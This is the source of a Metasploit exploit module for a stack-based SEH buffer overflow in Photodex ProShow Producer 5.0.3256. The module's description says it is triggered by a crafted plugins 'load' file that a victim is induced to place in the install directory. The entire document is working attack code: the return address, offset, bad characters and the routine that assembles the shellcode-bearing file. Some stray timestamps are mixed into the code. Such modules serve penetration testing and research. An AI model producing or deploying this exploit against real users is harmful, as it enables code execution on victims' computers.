2012-07-25 17:24:09 +00:00
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##
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2013-10-15 18:50:46 +00:00
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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2012-07-25 17:24:09 +00:00
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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2013-08-30 21:28:54 +00:00
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Photodex ProShow Producer 5.0.3256 load File Handling Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in Photodex ProShow Producer
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v5.0.3256 in the handling of the plugins load list file. An attacker must send the
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crafted "load" file to victim, who must store it in the installation directory. The
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vulnerability will be triggered the next time ProShow is opened. The module has been
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tested successfully on Windows XP SP3 and Windows 7 SP1.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Julien Ahrens', # Vulnerability discovery and PoC
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'mr.pr0n', # Additional PoC
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'juan vazquez', # Metasploit module
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],
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'References' =>
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[
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[ 'OSVDB', '83745' ],
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[ 'EDB', '19563' ],
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[ 'EDB', '20036' ],
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[ 'URL', 'http://security.inshell.net/advisory/30' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 9844,
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'BadChars' => "\x00\x0a\x0d",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Photodex ProShow Producer 5.0.3256 / Windows XP SP3 / Windows 7 SP1',
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{
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'Offset' => 9844,
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'Ret' => 0x1022A959 # p/p/r from if.dnt
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jun 06 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'load']),
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], self.class)
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end
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# Overriding file_create to allow the creation of a file without extension
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def file_create(data)
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fname = datastore['FILENAME']
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ltype = "exploit.fileformat.#{self.shortname}"
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if ! ::File.directory?(Msf::Config.local_directory)
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FileUtils.mkdir_p(Msf::Config.local_directory)
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end
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path = File.join(Msf::Config.local_directory, fname)
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full_path = ::File.expand_path(path)
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File.open(full_path, "wb") { |fd| fd.write(data) }
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report_note(:data => full_path.dup, :type => "#{ltype}.localpath")
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print_good "#{fname} stored at #{full_path}"
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end
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def exploit
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sploit = payload.encoded
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sploit << generate_seh_record(target.ret)
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# jmp back to the payload
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sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']+8}").encode_string
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# cause exception hitting the end of the stack
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sploit << rand_text(300)
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(sploit)
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end
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2012-07-25 17:24:09 +00:00
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end
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